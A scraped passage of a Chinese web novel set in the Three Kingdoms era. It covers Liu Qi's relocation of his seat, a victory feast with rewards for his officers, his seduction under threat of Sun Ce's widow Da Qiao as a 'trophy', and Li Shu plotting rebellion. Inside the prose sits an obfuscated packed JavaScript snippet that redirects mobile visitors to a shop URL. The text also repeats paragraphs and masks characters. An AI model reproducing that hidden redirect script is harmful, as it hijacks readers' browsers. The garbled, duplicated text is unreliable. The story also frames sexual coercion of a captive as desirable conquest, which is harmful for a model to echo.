刘琦站起身,走到悬挂的江夏舆图前,手指轻点夏口位置:“经过这几日深思,我决定将江夏郡治从安陆迁至此处。” “此事关乎重大,一应文书往来、官署搬迁、人员安置,便交由你这位江夏主簿统筹办理。” 主簿一职,本就是郡府要员,掌文书簿籍,协理政务。 第86章 从襄阳弃子到江夏雄主! 刘琦站起身,走到悬挂的江夏舆图前,手指轻点在夏口位置:“吾经过这几日深思后,决定将江夏郡治从安陆迁至夏口。” “郡治迁徙,事关乎重大,郡府一应文书往来、官署搬迁、人员安置,皆非易事,吾便交由你这位江夏主簿全权统筹办理。” **珍所领主簿一职,本就是郡府要员,掌文书簿籍,协理政务,正好是对口。 而刘琦迁郡治这事,也是经过深思熟虑,且与诸葛亮、庞统商议良久后做下的决定。 夏口地处汉水与长江交汇处,扼守水陆要冲,北上可直抵襄阳,顺江而下则可直取江东,实乃战略要地。 反观安陆,偏居涢水,既不利于水师调度,又远离日后经略江东的战场。 更重要的是,安陆乃江夏世家传统势力范围,将郡治迁至这座新收复的夏口城。 到时,刘琦既可以摆脱地方豪强的掣肘,又能依托这座天然良港,打造一个完全由自己掌控的军政中心。 而如今刘琦将迁治这等涉及全郡格局的要务全权交托,既是对**珍能力的认可,更是将他真正纳入心腹之列的明确信号。 那些往来文书需要**珍审核用印,各级官署搬迁要**珍协调调度,官员家眷安置更需**珍妥善安排,这每一项都是考验,也都是机遇。 **珍闻言,眼中闪过一丝明悟,当即肃容应道:“主公明鉴!夏口确为郡治上选,属下必竭尽全力,尽快完成迁治事宜。” 刘琦微微颔首,目光在**珍身上停留片刻,温声道:“善。你既已明白其中关窍,那便即日去处理。” 闻言,**珍深深一揖:“属下告退。” 言毕,**珍保持着躬身的姿态,后退三步,这才转身离去。 走出府门后,**珍立刻对候在门外的随从低声吩咐:“速传书回江陵,让族中立即准备犒劳军士所需的美酒、肉食,连夜运至夏口!” “同时再请郡府各位曹吏,即刻至衙署议事!” 说罢**珍快步走向官署,身影很快消失在街角转角。 待**珍退下,刘琦书房内重归寂静。 端坐在案几后的刘琦并未急着处置案头堆积的文书,而是目光沉静地望向窗外渐沉的夕阳,指节无意识地在案几上轻轻叩击。 此刻刘琦独坐沉思,正是在权衡此战过后,该如何对属下**行赏。 刘琦脑海中掠过一张张面孔:黄忠阵前斩将,赵云血战擒敌,甘宁冲锋陷阵,周仓死守城门…还有那些新附的吕范、蒋钦等人。 每个人的功绩、资历、乃至性情,都在刘琦心中反复权衡。 既要酬其功劳,亦要顾及军中平衡。 这般千头万绪涌上心头,一时间竟让刘琦感到一阵头痛,刘琦不禁以指节揉按着太阳穴。 这份令人头痛的差事,本可寻人分担。 以诸葛亮之才,定能给出公允之策,那个在另一个时空里执掌残局、北伐中原的卧龙,最是明白如何平衡各方。 但刘琦却不想唤来,因为刘琦深知,赏罚之权,乃人主之器,决不可旁落。 此刻摒退左右,独自权衡,正是要确保这份权柄的纯粹。 刘琦就是要让所有臣属都清楚地看到,他们的功过评定与前程命运,最终只取决于刘琦他一人的意志。 就在这般沉思良久后,刘琦才取过纸笔,在摇曳的烛光下开始拟定众将的封赏。 烛火在夜色中摇曳,又在晨光中熄灭。 当第二日的阳光开始西斜时,刘琦终于取过纸笔,在案前开始拟定众将的封赏。 待刘琦放下笔时,暮色完全笼罩了窗棂,刘琦才轻轻呼出一口气,心中已有了初步的章程。 转眼间,暮色四合,华灯初上。 在**珍的高效操办下,临时府邸内外已焕然一新。 廊下悬挂的绢灯与庭中燃烧的庭燎将夜空映照得亮如白昼,空气中弥漫着炙肉的焦香与淳厚的酒气。 府门外,一坛坛来自江陵**氏的美酒和大量肉食正分发至各营,虽不及宴席精致,但大块煮肉、成瓮浊酒管够,足以让苦战余生的将士们开怀畅饮。 而在府邸之内,庖厨更是倾尽所能,将府库中珍藏的佳酿与精心烹制的炙肉端上案席。 在府内厅堂中,文武官员皆已按序入座,人人脸上都带着胜利的喜悦与对今晚的期待。 此刻端坐席间的文武,虽然互相之间举杯畅饮,表面谈笑风生,但细观其言行,便能察觉几分异样。 黄忠抚须大笑时,目光不时扫向主位,甘宁举杯豪饮之际,声量总在关键处陡然拔高。 就连新降的吕范、蒋钦,与邻座交谈时也带着几分欲言又止的斟酌。 满堂觥筹交错间,总有人看似随意地提起那日苦战,或意味深长地感叹此番不易。 这些看似闲谈的话语,实则都在隐约勾勒着自己的功绩,所有人的心思,早就不在眼前酒肉之上。 席间那谈笑风生的甘宁,此刻能安坐于此倒也有段插曲。 那夜刘琦在确定来者是孙权已经在江津渡上岸后,便命其率水师截击周瑜水寨,欲断孙权退路,不料因夜色迷江,行程耽搁,等赶到时只见夏口城头已遍插刘字旗,而孙权与凌统早就率着水寨内的残部扬帆远遁了。 这锦帆贼头当时恨得在船头跳脚连啐数口,深以为憾。 不过甘宁自归顺以来屡建奇功:先有百人趁夜营焚敌营。 致使周瑜水寨震动三军,随后在水战中阵斩江东宿将凌操,更曾屡次与周瑜这等名将交手亦不落下风,随后奉命追击孙权,虽未果,但也接管了周瑜留下的这座江防要寨,成为扼守长江的一支劲旅。 细数甘宁战功下来也着实不小,此刻自然该在受赏之列。 而就在满堂荆州文武推杯换盏,谈笑风生之际,忽闻堂下钟磬之声一变,由先前的欢快宴乐转为庄重典雅的《鹿鸣》之音。 闻此,满堂谈笑顷刻间安静下来。 众人皆知,这是主公即将出场的信号,纷纷整肃衣冠,正身端坐,目光齐刷刷望向内堂入口处。 不一会,便见刘琦身着玄色暗纹锦袍,腰束玉带,头戴进贤冠,步履从容地自内堂转出。 连日的征战疲惫已被仔细梳洗掩去,此刻刘琦面如冠玉,目若朗星,虽未着甲胄,却自有一股不怒而威的气度。 但令人稍感意外的是,郡丞诸葛亮竟手持羽扇,略后半步随行在侧。 原来刘琦虽将赏罚大权独揽于手,经过一日一夜的独自斟酌拟定封赏,但在宴前终究还是请来了诸葛亮。 这并非是刘琦动摇决断,而是智者千虑必有一失的谨慎。 诸葛亮总领政务,对诸将功过、军中钱粮、官职缺补最是了解。 请他最后把关,正是要借他之明,查自己之漏,确保这份当下荆州文武最为关乎赏名单万无一失。 刘琦行至主位前立定,目光缓缓扫过全场。 见满堂肃然,刘琦忽然展颜一笑,那笑意如春风化雨,瞬间打破了凝重的气氛。 “诸君为何停杯不饮?” 刘琦朗声笑道,随手接过侍从奉上的酒樽,“莫非因刘某到此,诸君便连酒都不会饮了?” 刘琦这番话引得席间一阵低笑,原本紧绷的气氛顿时松快了几分。 老将黄忠最先反应过来,哈哈大笑着举起酒杯:“主公说的是!这般好酒好肉,凉了岂不可惜!” 甘宁更是直接拍案而起,拎起酒坛就给临近几人满上:“都愣着作甚?没听见主公发话吗?喝!” 就连刚在刘琦旁坐下的诸葛亮也轻摇羽扇,也含笑对身旁的庞统低语起来。 刘琦见席间的氛围重新热烈起来后,朝乐师与舞姬方向招了招手:“尔等接着奏乐接着舞!” 丝竹声立时欢快响起,舞姬彩袖翩跹。 随后刘琦举杯环敬全场,声调昂扬:“诸位征战辛苦了大半年,如今大胜,正当畅饮尽欢!诸位,满饮此杯!” 刘琦要告诉众人:欢庆之时当尽欢,封赏之事自有定时。 堂下顿时响起一片应和之声: 黄忠将酒樽重重一顿:“主公说得好!这杯酒老臣先干为敬!” 甘宁直接拎起酒坛跃上案几:“都听见没?今夜谁不喝趴下,就是看不起我锦帆营的弟兄!” 赵云含笑举杯:“愿随主公再建新功。” 就连吕范、蒋钦也急忙起身:“谨遵主公之命!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而如今,刘琦不仅摆脱了既定的悲剧命运,更手握精兵数万,文有诸葛亮、庞统运筹帷幄,武有赵云、黄忠等当世名将效命。 对穿越而来的刘琦而言,这场庆功宴不仅标志着江夏之战的终结,更象征着刘琦彻底挣脱了原主的悲惨命运。 他! 刘琦,历经数月,从穿越之始,从困守襄阳、受制于蔡瑁时的潜龙在渊,云梦泽奇袭,到津乡大破孙策,再到如今夏口全胜。 昔日在襄阳城中那个惶惶不可终日被所有人都不看好的软弱长公子,如今已是执掌数万雄师、俯瞰江东的雄主。 他,刘琦——逆天改命了!!! 而诸葛亮敏锐地察觉到刘琦神情中那一闪而过的复杂情绪,轻摇羽扇,率先接话:“主公至孝,当时临危受命,亲冒矢石,方有今日之局。” 其余众将虽不明深意,但也纷纷附和着。 而黄忠放下酒樽,慨然道:“当时若非主公当机立断横渡云梦泽大败孙策,哪有今日大捷!” 甘宁也立即接话:“正是!那时江东军气焰嚣张,若不是主公有胆有识,哪有今日大捷!” 众将纷纷回忆起刘琦出襄阳后的情形,虽然心中仍惦记着封赏之事,但表面上都表现得感同身受。 “往事已矣,”刘琦的声音重新变得沉稳有力,“接下来,该**行赏了。” 随后刘琦在满堂文武的注视下,稳步回到主位,自袖中取出那卷玄色绢帛。 随着丝绸展开的簌簌声,让整个大厅瞬间屏息凝神。 刘琦先是看了眼众将期盼的目光,然后才目光扫过绢帛,声音沉稳有力: “三军未动,粮草先行,昔年高祖定鼎天下,首功在萧何。” “今我军能连战连捷,全赖诸葛郡丞于后方统筹调度,安陆屯田以固根基,转运分配以济三军,保我粮道不绝,军需无缺,实乃此战首功!” “特加封诸葛亮为军师中郎将,总领军政,赐千金,府邸一座!” 这份封赏内容,诸葛亮早在宴前与刘琦最后斟酌名单时便已知晓。 因此,诸葛亮从容出列,羽扇轻执躬身:“亮蒙主公信重,委以重任。今虽薄有微功,实乃将士用命、群贤辅佐之果。主公厚赏,亮受之有愧,惟愿竭诚尽智,助主公成就大业!” 诸葛亮这番答谢既显谦逊,又表忠心,更将功劳归于上下同心,正是诸葛亮高明之处。 第87章 战利品的滋味:江东绝色入我怀! 这番答谢既显谦逊,又表忠心,更将功劳归于上下同心,正是诸葛亮高明之处。 刘琦闻言,眼中笑意更深,微微颔首示意,随即目光转向次席的庞统。 “庞士元听令。”刘琦展开绢帛下一段。 “水师参军庞统,献奇策,定谋略,助我军屡破强敌。今擢升为军师中郎将,赐金八百,总领水师参军事务,另赐蜀锦百匹!府邸一座!” 庞统此番献策立功,更兼其出身襄阳庞氏,此擢升为军师中郎将,于军职而言仅此于刘琦与诸葛亮之下,而诸葛亮是郡丞兼领军师中郎将,往日里除非刘琦有召,不然庞统在军中就只比刘琦这个偏将军低一等。 而刘琦此举耀升庞统,一是庞统确实在这次光复江夏中立功颇多,二也是想向荆州士族示好。 而听完刘琦的封赏后,却见庞统晃着那颗硕大的脑袋站起身来,丑脸上因兴奋泛着红光,声音洪亮得近乎有些失仪: “臣庞统,领命谢恩!必为主公练出纵横江河的无敌水师!” 庞统那过于直白的反应引得席间一阵善意的低笑,连刘琦都忍不住莞尔。 “黄忠听令!” 接着刘琦又展开绢帛下一段。 “汉升每战必先,更阵斩黄盖,破敌锐气!擢升为讨逆校尉,赐金六百,锦缎百匹!府邸一座!” 黄忠抱拳洪声:“末将谢恩!” “赵云听令!子龙先破李通,擒赵俨,后更阵斩韩当、潘璋,战功卓著!擢升为牙门校尉,赐金五百,良马十匹!府邸一座!” 赵云抱拳应道:“云,谢恩!” “元福死守城门,浴血奋战,以寡敌众而不退,忠勇可嘉!特擢升为忠勇校尉,赐金三百,府邸一座!以彰其功!“ 周仓虽出身草莽,然其忠勇赤诚,实为难得。 刘琦此番厚赏,既是为酬其血战之功,更是要向全军昭示——在他麾下,不同出身,唯重军功,忠勇者必得重用! 只见浑身缠着绷带、由两名士卒搀扶着的周仓挣扎出列,这个黑脸汉子虎目含泪,声音因激动而哽咽: “主公!仓……仓只是一介莽夫,蒙主公不弃,敢不效死!” 刘琦亲自离席,扶住周仓的肩膀,朗声道: “有功必赏,有过必罚,此乃治军之本!元福之功,当得此赏!” 待周仓退下后,刘琦目光转向席间:“甘宁听令!” “兴霸屡立战功,阵斩凌操,更统率水师屡破强敌。特赐金八百,蜀锦三百匹,明珠十斛,以酬其功!” 刘琦对于甘宁的封赏着实斟酌良久。 甘宁已官至横江校尉,再升恐赏罚失衡。 故以厚赐财物代之,既显恩宠,又不致爵位过滥。 “陈应擢振威校尉,王朗复扬武校尉,各赐金三百!” “**珍加昭信校尉,仍领江夏主簿,赐金二百!” 最后,刘琦目光转向江东降将:“宋谦迁奉义都尉,吕范、蒋钦各赐金三百。” “而其余有功将士,皆按军功簿记录,凡斩首夺旗者依律晋爵,负伤将士加倍抚恤,战死者厚恤家小。” “各营明日张榜公示,绝不使任何一位勇士埋没功绩!” 待最后一份封赏宣布完毕,刘琦展开双臂,玄色衣袖如云舒展:“望诸君日后同心协力,共图大业!” “愿随主公,共图大业!” 如山呼海啸般的应和声震彻屋宇。 而封赏既毕,众将心中悬了整晚的石头终于落地。 只剩志得意满的欢畅,觥筹交错间,酒渍淋漓洒满舆图,肉骨堆积如山,豪言壮语混着酒气直冲霄汉。 月至中天,银辉漫洒城楼。 府内灯火渐稀,醉倒的将领被亲兵挨个扶出。 而刘琦也在今夜终于也放纵了一回,玄色锦袍襟前酒渍斑斑,玉冠微斜,素日清明的眼中此刻星眸微醺,步履间带着七分醉意三分酣畅。 穿越以来如履薄冰的压抑,改写命运过程中的重重险阻,都在今夜这场属于胜利者的狂欢中得以宣泄。 刘琦允许自己醉这一回,既是为庆贺新生,亦是与那个呕血而终的旧命运作别。 刘琦拎着半坛残酒,在亲卫搀扶下穿过回廊,踏着微醺的步子在新的的府邸中漫行。 这些时日忙于战事善后,刘琦还未曾好生打量过这座原属孙权的府邸——如今已是他的江夏太守、偏将军府邸。 夜风带着桂香拂面,酒意让刘琦比平日放松许多。 刘琦信步穿过月洞门,沿着回廊漫无目的地走着,不知不觉走到一处僻静别院里。 忽闻一阵婴孩啼哭从院中传来,伴着女子轻柔地哄慰。 刘琦驻足蹙眉,心中诧异:麾下将领的家眷皆未随军,这是谁人的孩儿? 刘琦循声走去,只见窗棂内烛光摇曳,映出一个窈窕身影正抱着婴孩轻轻摇晃。 心中疑惑之下,刘琦醉眼朦胧地招来紧随身后的亲卫,问道:“这是谁家女眷?怎会住在我的府邸内?” 亲卫连忙躬身回禀:“主公,此乃孙策遗孀大乔夫人与其幼子。” 经亲卫这一提醒,刘琦才恍然挑了挑眉头,才想起前日批阅战报时,确实在缴获文书里瞥见过孙策妻小现安置于原吴侯府东侧别院的记录。 只是当时刘琦正为降卒整编与郡治迁移焦头烂额,这等细枝末节只在眼前一晃便搁下了。 毕竟比起上述的事情而言一个败军之将的家眷实在无足轻重。 “大乔.....” 刘琦低声嘀咕,不自觉地摸了摸下巴新生的胡茬,醉眼中泛起毫不掩饰的兴趣。 刘琦忽然觉得,既然连整个江夏都成了他的囊中之物,那顺带品味一下战利品的滋味,似乎也是理所当然。 这般想着,刘琦随手将酒坛搁在石阶上,理了理微皱的衣襟,脚步放轻,缓缓朝着扇亮着烛光的房门走去。 两个亲卫对视一眼,默契地退到月洞门外。 而把守院门的大乔婢女见是刘琦,慌忙跪伏在地,但却无一人敢出声通传大乔。 守在门侧的两名婢女见是刘琦,慌忙的低眉垂首退至角落,双手紧紧攥着衣角,连大气都不敢喘。 她们皆是大乔从江东带来的婢女,最是懂察言观色。 此刻见刘琦醉意阑珊地信步而来,她们既没胆量上前阻拦惊驾,但心底却悄悄生了几分期盼。 自家夫人容貌倾城,若能得这位年轻主公的青睐,往后在这府邸中站稳脚跟,她们这些下人的日子自然也会好过些,不必再提心吊胆怕遭人欺辱。 当刘琦带着一身酒气推门而入时。 屋内烛火依旧摇曳,大乔刚将孙绍轻轻放进锦被,动作轻柔得生怕惊醒幼子。 门轴转动的声响虽轻,却在这寂静的屋内格外清晰,大乔浑身一僵,下意识地回头望去。 一张绝美的容颜撞入刘琦眼中,眉如远山含黛,目似秋水凝烟,此刻却笼着一层拂不去的轻愁。 大乔身着鹅黄深衣,惊鸿髻斜簪步摇,烛光下身形窈窕,宛若月下初绽的玉兰,清丽中透着一丝易碎的脆弱。 而二人四目相对的那刹那,大乔心头猛地跳动了几下。 虽然大乔不认识刘琦,但见刘琦虽微醺,但却不失威仪,而且还能在深夜不经通传直入她闺房,身份已不言自明。 想来,唯有这江夏的新主、如今执掌她生死的刘琦。 他果然还是来了。 猜测出是刘琦后,即便是已经做好了心里准备,大乔亦不免心头有些慌乱。 不过,心中慌乱只一瞬便被大乔压了下去。 大乔深吸一口气,迅速敛去眸中的慌乱,缓缓起身。 裙摆扫过地面,带出轻微的窸窣声,垂眸敛衽,姿态恭敬而疏离,声音刻意保持平静:“妾身见过府君。” 而刘琦斜倚在门框上,玉冠微斜,玄色锦袍的衣襟上沾着明显的酒渍,醉眼朦胧地打量着屋内陈设以及大乔。 刘琦的目光先是落在榻上熟睡的婴孩身上,随即缓缓移到大乔身上,从她精致的发髻扫到窈窕的身段,眼神里的兴趣毫不掩饰,带着几分胜利者审视战利品的目光。 “孙夫人倒是好兴致,这般安稳。” 刘琦开口,声音带着酒后的沙哑,语气里听不出喜怒,“如今这江夏城,可都是本公子的天下了。” 闻言,大乔垂着头,指尖不自觉地攥紧了衣袖,指甲几乎要嵌进掌心,面上却依旧维持着镇定:“府君神威,光复江夏,妾身与幼子能得主公庇护,已是万幸。” 大乔刻意加重庇护二字,语气里带着几分隐晦的试探,也藏着几分隐忍的祈求。 而已经缩至角落的婢女们偷偷抬眼,见刘琦并未动怒,反而目光一直停留在大乔身上,心底不由得松了口气,暗自期盼夫人能好好应对,抓住这难得的机会。 而大乔垂着的眼眸深处,却悄悄掠过一丝决然—— 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刘琦往前又凑了凑,几乎可以嗅到大乔身上若隐若无的体香,同时刘琦声音压低了些,却更显压迫:“你若安分,本公念你容貌尚可,念这孩子无辜,自然会给你们母子一处安身之地,可你若是敢揣着什么不该有的心思——” 刘琦的未竟之意,大乔听得明白。 刘琦那言语中的威胁,大乔早就在对镜梳妆时便已在心中预演过,故而并未惊起多少惊惶。 然而,当刘琦那双带着酒气的手真正开始在她身上游走时,思想上的准备与现实中的触碰终究是两回事。 感受着刘琦的手掌温热,先是抚过自己的肩头,随即顺着脊背的曲线缓缓向下,最终停留在自己腰间。 那陌生的、带着明确占有意味的触感,让大乔浑身一僵,一股热意无法控制地涌上脸颊和耳根。 大乔下意识地想要向后蜷缩,但却被刘琦半揽的姿势困住。 “唔……”一声极轻的、带着慌乱意味的鼻音不受控制地逸出唇瓣,大乔立刻意识到这声回应太过失态,慌忙低下头,试图用垂落的青丝遮掩瞬间烧红的脸颊和脖颈。 先前准备好的、维持表面镇定的话语,此刻仿佛都卡在了喉咙里,一时竟回不出半个字来。 刘琦将大乔这番情态尽收眼底,那骤然绯红的耳垂,那轻颤如蝶翼的睫毛,那想躲闪却又强自按捺的僵硬身姿,以及那声泄露了心底慌乱的轻吟。 这般属于成**子的羞怯,混杂着**的贞静与新寡的羞耻,比起少女的青涩或是纯粹的刚烈,更添几分令人心动的风致,也更能撩拨起征服者的心弦。 刘琦低笑一声,原本停留在她腰间的手掌稍稍收紧,迫使大乔身子更贴近自己几分。 此时两人身躯相贴,隔着轻薄的夏衣,刘琦能清晰感受到大乔玲珑有致的身体轮廓——那纤细柔软的腰肢,丰腴起伏的曲线,此刻正因无措而微微发颤。 当刘琦带着酒意的气息拂过大乔发烫的耳廓,用那沙哑而慵懒的嗓音,慢条斯理地问出道: “不知,夫人今宵……愿与琦同席共枕否?” 食色性也,纵是英雄,亦难逃此关。 此刻在大败孙策、击溃孙权、全歼江东精锐大获全胜之下的刘琦,如今已是执掌数万人乃至数十万人生死的诸侯枭雄,又何须掩饰对这**的觊觎? 刘琦此言一出,大乔身子剧颤,连呼吸都停滞了刹那。 刘琦能清晰感受到掌下纤腰的僵硬,只见大乔贝齿死死咬住樱唇,掐着衣袖的指尖暗暗发力。 大乔垂眸静默片刻,再抬眼时,眸中水光潋滟,竟缓缓浮起一抹恰到好处的羞赧。 大乔微微侧首,露出一段凝脂般的脖颈,惊鸿髻上的步摇随着她低头的动作轻轻晃动。 “能得府君垂怜……”大乔的声音柔婉似春水,带着几分刻意经营的娇怯,“是妾身三生有幸。” 大乔说话间,鹅黄深衣的系带自她肩头又滑落几分,露出一抹莹润的肩线。 此时大乔非但不遮掩,反而将身子又放软了些,任由玲珑曲线若有似无地贴合着刘琦,每一步都拿捏得恰到好处——既不失**的矜持,又流转着人妇特有的婉约风情。 “很好。” 见此,刘琦低沉的声音里浸着三分醉意七分得意,“夜露深重,夫人且为本公子宽衣。” 第88章 刘琦:这滋味,妙不可言! 一夜春宵,其中旖旎细处,想来诸位看官亦无心赘述,便在此略过不提。 翌日清晨,晨曦透过雕花窗棂,化作细碎的金辉照**内,在室内洒下斑驳的光影。 床榻之上,锦被半掩,刘琦与大乔仍同卧榻上,尚在熟睡。 当刘琦睁开眼时,身侧温热柔软的触感提醒着昨夜的亲近并非梦境。 随后,刘琦略略支起身坐在床榻上微微侧首,便见大乔背对着你,犹在熟睡。 而刘琦见身侧之人任在睡梦之中,刘琦目光便在大乔身上缓缓巡弋起来。 大乔面向里侧卧着,锦被随着刘琦坐起的动作滑落,只堪堪遮到腰际,露出线条优美的玉背。 如云般的青丝铺了满枕,更衬得那段裸露在锦被外的后背莹白如玉,光滑的肌肤在晨光下泛着细腻的光泽。 接着刘琦的目光顺着那优美的脊线向下,隐没在被褥间,又不自觉上移,掠过大乔微微蜷缩的肩头,透过那微微敞开的腋下缝隙,能窥见一抹若隐若现的胸大肌,随着大乔平稳的呼吸轻轻起伏,无声诉说着成**子独有的风流体态。 而此时,刘琦坐起的动作间惊动了外间候着的婢女。 两名身着淡粉衣裙的小丫鬟低着头走进来,一人捧着刘琦的外袍,一人端着铜盆温水。 年纪稍小的婢女将刘琦衣衫展开,正要为刘琦披上,目光不经意掠过刘琦赤着的上身,及腰腹间紧实的线条,脸颊倏地飞起红云,慌忙垂下眼,手指微颤地伺候他穿衣。 见她们如此羞窘,刘琦不由觉得有些好笑,旋即明白过来。 刘琦配合地抬起手臂,任由她们伺候,思绪却飘回昨夜。 昨夜种种,此刻忆起,犹在眼前。 大乔并非不解风情的闺中少女,那已识情滋味的成熟风韵,与少女的青涩截然不同,自有一番恰到好处的温婉与体贴。 榻笫之间,大乔虽也羞赧,但眼波流转处却带着分明的情动与迎合,分寸拿捏得极好,既不失身份,又足以让任何男子为之血脉偾张。 想到这,刘琦嘴角勾起一抹不易察觉的笑意。 这般滋味,确实远非青涩少女所能企及。 而昨夜这内室外间隐约可闻的动静,床榻细微却持久地摇曳,直至深夜方歇,便足以让这些未经人事的少女心旌摇荡,面红耳赤。 而昨夜这寝室外的值夜,恐怕就是这两个小丫头。 想必是隔着一道屏风,将内间那些动静听了个真切。 刘琦正沉浸在回味中,不觉低语:“怪不得……怪不得世上总有人对此道念念不忘。” 话音刚落,那两个小丫鬟正为刘琦系腰带,闻言手一抖脚步不小心碰到床柱,发出清脆的声响。 而这动静自然是惊醒了榻上之人,只见大乔纤长的睫毛轻颤,缓缓转过身来。 待大乔朦胧睡眼看清刘琦正站在榻前,由婢女伺候着更衣时,不由惊呼一声:“你、你怎么......” 但大乔话未说完,便猛然意识到自己亦是衣衫不整时,慌忙拉起锦被掩在胸前,一张芙蓉面霎时染上红霞。 虽则昨夜已承雨露,但那是烛光朦胧的深夜。 而此刻**,晨光透窗,赤诚相见终究不同。 而刘琦见大乔这般情态,乌发蓬松披散,香肩半露,一双美目含羞带怯,比起昨夜妩媚,更添几分娇柔。 那锦被虽遮住了刘琦的视线,但却勾勒出曼妙曲线,随着大乔的呼吸起伏,反而更引人遐思。 见状,刘琦神色微动,惊得在伺候刘琦穿衣的两个小丫鬟,捂嘴低呼! 刘琦忽然想起如今江夏大势已定,诸般政务自有诸葛亮等人打理,自己何须日日操劳? 便是荒唐这一回,又有何妨? 此念一生,刘琦便挥手示意两个小丫鬟退下。 两个小丫鬟如蒙大赦,慌忙低头退出,还贴心地掩上了房门。 刘琦转身向榻前走去,大乔见刘琦目光灼灼,哪里不知他心意,羞得往被中缩了缩:“这、这大白天的......” “白日又如何?” 刘琦低笑,已俯身靠近,“春宵苦短日高起,从此君王不早朝,今日,我便偷得浮生半日闲。” 随着刘琦话音落下,顶上锦帐轻轻落下,掩去了榻上光景。 只余帐幔上的流苏,无风自动,微微摇曳。 窗外忽闻莺啼婉转,声声清脆。。 “春宵苦短日高起,从此君王不早朝.....” 就在刘琦沉醉于芙蓉帐暖之时,千里之外的江东,看似平静的水面下正涌动着不易察觉的暗流。 吴郡,顾府花园内,暖风拂过亭台水榭,四位衣冠楚楚的世家子弟正在曲径通回廊间漫步闲谈。 身后侍从们都远远跟在十步之外,既听不清具体言语,又能随时听候吩咐。 “伯符将军英雄一世,可惜天不假年啊。” 顾雍随手折下一枝垂丝海棠,语气平淡得像在谈论天气。 顾雍,字元叹,吴郡吴县人,现任吴郡丞,虽年仅三十余,却已以持重沉稳著称,深受孙策敬重,常咨议政事。 陆绩闻言轻笑:“谁能想到,那位刘景升之子竟有如此手段?连小霸王都折在他手里。” 陆绩,字公纪,吴郡吴县人,年方十六,已以博学闻名江东,虽未出仕,却常参与世族聚会,以其敏锐见识引人注目。 “不过...”顾雍话锋一转,指尖轻捻花瓣,“比起伯符的刚烈勇武,仲谋倒是更懂得进退之道。” 一旁的朱恒捋须:“确实。这位二公子自幼读书明理,不像其兄那般...锋芒毕露。” 朱桓,字休穆,出身吴郡朱氏,性急刚烈,然善养士众,轻财重义。 “听说仲谋尚在江夏与刘琦周旋,也不知何时能归?” “正好趁这段时间,让各家子弟多熟悉熟悉郡中事务。” 最后一位张允适时接话。 张允,吴郡富春人,亦是日后将在江东政坛占据一席之地的张家代表人物。 若是寻常人家或是小门小户,听闻孙策战死的消息传来,怕是早已惊慌失措。 可在这四位口中,这等惊天变故却如同闲话家常般随意。 而这便是世家大族的底气——任凭城外旌旗变幻,他们依然能在这亭台楼阁间从容品评时局。 而这看似随意的赏花闲谈,实则是吴郡四大家族最重要的一次**协商。 虽然不是顾、陆、朱、张四家的族长亲自会谈,但这四位年轻一辈的翘楚——顾雍、陆绩、朱桓、张允,他们的态度已然代表了各自家族的意志。 此刻在顾府花园内的闲谈,看似是年轻子弟的随意交流,实则句句都是经过家族默许的**表态。 顾雍微微颔首,任手中海棠飘落池中:“待仲谋回来,想必会很欣慰看到江东上下同心的局面。” 顾雍说完四人相视而笑,这相视一笑里,藏着太多不必明言的默契,都选择了同样的路,自然明白彼此心中所想。 等孙权从江夏归来,面对的将是一个由四大世家子弟充实的行政体系。 到那时,这位新任江东之主除了接受共治的现实,别无选择。 而就在吴郡四大家族在顾府内海棠树下达成共识的同时,庐江太守府内却是另一番光景。 李术此刻正在自己的太守府中,来回踱步。 李术身材魁梧,面相带着几分桀骜。他是孙策一手提拔起来的,对那位小霸王是又敬又畏,心甘情愿为之驱策。 但当孙策身死消息传来后,李术对于靠着兄长余荫上位的孙权,这个碧眼小儿,李术心里既是不服,亦也瞧不起孙权。 李术觉得孙权不过是命好,投胎到了孙家,论能力、论威望,给他李术提鞋都不配! 如今孙策**,压在他头上的大山没了,他李术凭什么还要对一个黄口小儿俯首称臣? 庐江郡兵精粮足,他经营多年,正是大展拳脚之时! 想到这庐江太守李术将手中的兵符重重按在案几上,对心腹冷笑道:“孙伯符在时,某尚敬他三分。如今碧眼小儿继位,也配让某俯首称臣?” 这位昔日凭借战功被孙策一手提拔的庐江太守,如今却第一个心生异志。 此刻的李术亦如历史上所记载的般,在孙策死讯消息传来后立即萌生了拥兵自重,拒绝听从孙权调遣,意图自立的想法。 “主公三思!”心腹连忙劝谏,“虽说孙策已死,可江东六郡至今未见大规模叛乱,若主公第一个起事,只怕...” “只怕什么?”李术不屑地打断,“碧眼儿此刻深陷江夏战事,江东精锐尽在彼处。他哪来的兵力讨伐我?” 说着,李术负手走到窗前,望着校场上操练的士卒,声音愈发激昂: “孙策已死,江东大乱已是必然!而大丈夫岂能久居人下?更何况是那碧眼小儿之下!” 这话说得虽狠,但李术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762859|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心下其实也有几分发怵。 李术沉吟片刻,决定先做些准备再起事。 李术能在乱世中坐稳庐江太守之位,靠的从来不只是匹夫之勇。 李术此人,看似粗豪武人之姿,但内心却深谙乱世生存之道。 昔年追随孙策平定江东六郡时,李术就因善于审时度势而获得重用,如今时局变幻,李术立即嗅到了机会。 是以,李术当即下达一连串命令: 暗中截留本应上缴吴郡府库的庐江赋税,同时以剿匪安民为名,大肆招揽流民,扩充私兵。 对孙权发来的调令,他一概阳奉阴违,特别是催缴粮草的文书,直接置之不理。 “立即修书两封。”李术眼中闪过厉色 “一封送往许都,向曹操示好,另一封...派人秘密送往夏口,告诉刘琦,若他愿表奏某为镇东将军,某愿将庐江献于他!” 这才是李术的真正手段,既要借刘琦之势自保,又要利用刘琦来获取正式官职。 而曹操不过是李术要挟刘琦的一个手段,曹操如今正与袁绍在官渡激战,相距庐江数千里之遥。 那位曹司空即便有心经略江东,此刻想必也分身乏术。 更何况,他李术区区一个庐江太守,值不值得曹操在强敌环伺之际,再分兵南下与孙权交恶,尚是未定之数。 但刘琦就不同了。 